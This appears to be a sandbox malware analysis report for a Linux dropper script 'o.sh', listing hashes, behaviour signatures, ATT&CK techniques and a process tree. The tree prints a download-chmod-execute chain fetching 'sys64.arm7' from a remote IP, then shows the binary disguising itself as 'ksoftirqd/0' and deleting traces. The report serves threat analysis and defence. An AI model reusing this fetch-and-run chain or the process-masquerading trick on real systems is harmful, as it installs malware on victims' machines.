Analysis
- max time kernel
146s - max time network
149s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
12/08/2026, 18:16
Static task
static1
Behavioral task
behavioral1
Sample
o.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
o.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
o.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
o.sh
Resource
debian9-mipsel-20260513-en
General
- Target o.sh
- Size 4KB
- Sample260812-wwqeaascmg
- SHA256 37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc
- MD5 a55e33eb6ab489431ae95ec26b64f3f8
- SHA1 9884b7f0b573e2e8a0d84bd89ab50dd71feb35bd
- SHA512 ec9cf25f2a3b5276be45d7dfe272bc3488fb8453dd64eb0a05f8b5e8ef7d8203d79d6f5b1f071c86135acf9949950447c740642c845446389122483097272f5e
- SSDEEP 96:BNFbsjjmb3xyrdc+ZNzp3oOUZ5dq8f/R4RZ0SrPWUXVuqPwat:kcnIukWUr
- TLSH T102B1F38A13921C703DE299673265878C3187B0F756ED6F20F9CCF9A64BACE14E421367
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 681 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/sys64.arm7 682 o.sh - Unexpected DNS network traffic destination 7 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 223.5.5.5 Destination IP 223.5.5.5 Destination IP 223.5.5.5 Destination IP 223.5.5.5 Destination IP 223.5.5.5 Destination IP 223.5.5.5 Destination IP 223.5.5.5 - Reads network interface configuration 2 TTPs 3 IoCs
Fetches information about one or more active network interfaces.
description ioc Process File opened for reading /sys/class/net/eth0/type sys64.arm7 File opened for reading /sys/class/net/eth0/speed sys64.arm7 File opened for reading /sys/class/net/eth0/operstate sys64.arm7 - Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself ksoftirqd/0 683 sys64.arm7 Changes the process name, possibly in an attempt to hide itself ksoftirqd/0 683 sys64.arm7 - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo sys64.arm7 - Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/class/net sys64.arm7 -
description ioc Process File opened for reading /proc/24 sys64.arm7 File opened for reading /proc/25 sys64.arm7 File opened for reading /proc/27 sys64.arm7 File opened for reading /proc/28 sys64.arm7 File opened for reading /proc/29 sys64.arm7 File opened for reading /proc/3/comm sys64.arm7 File opened for reading /proc/20 sys64.arm7 File opened for reading /proc/21 sys64.arm7 File opened for reading /proc/22 sys64.arm7 File opened for reading /proc/23 sys64.arm7 File opened for reading /proc/26 sys64.arm7 File opened for reading /proc/30 sys64.arm7 File opened for reading /proc/mounts sys64.arm7 File opened for reading /proc/meminfo sys64.arm7 - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sys64.arm7 wget
Processes
-
/tmp/o.sh/tmp/o.sh1⤵
- Executes dropped EXE
PID:651 -
/bin/unameuname -s2⤵PID:653
-
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/bin/unameuname -m2⤵PID:655
-
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/bin/rmrm -rf sys64.arm72⤵PID:658
-
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/usr/bin/wgetwget http://62.84.172.106/sys64.arm72⤵
- Writes file to tmp directory
PID:660
-
-
/bin/chmodchmod 777 sys64.arm72⤵
- File and Directory Permissions Modification
PID:681
-
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/tmp/sys64.arm7./sys64.arm7 .arm72⤵
- Reads network interface configuration
- Changes its process name
- Checks CPU configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:682
-
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/bin/rmrm -rf sys64.arm72⤵PID:684
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/bin/rmrm -f /tmp/o.sh2⤵PID:686
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
- Path /tmp/sys64.arm7
- Size 666KB
- SHA256 84fc61c65cb8f559575883fcab6431e82745bc8e7551a540fa6f3134a56efc77
- MD5 e507b41a363c6f9fecbfda6b272031bb
- SHA1 168162f040b8648e5cdf77c7243846179273ec7a
- SHA512 daf867e46e99d0acebc3d766f3ecced650e6baf947291cc0e7c38cdfbd16ef8b6d212f907deb9ca8da09b9cb4abf16351e7ff7f9abf3e675f3f444fa435f5c53
- SSDEEP 12288:mMTJMMw9rcArInr/SgcCAwPmlyzAaS3DsZXzPvzar/S2QJx8CeVThlrKM:hcUr/HO6AaAQZnzau
- TLSH T194E44A26FC819B91D5C15BBFFF5E925933132B78E2EE7103DD141B2427DA89A0E3A601
- MD5 SHA1 SHA512 SSDEEP TLSH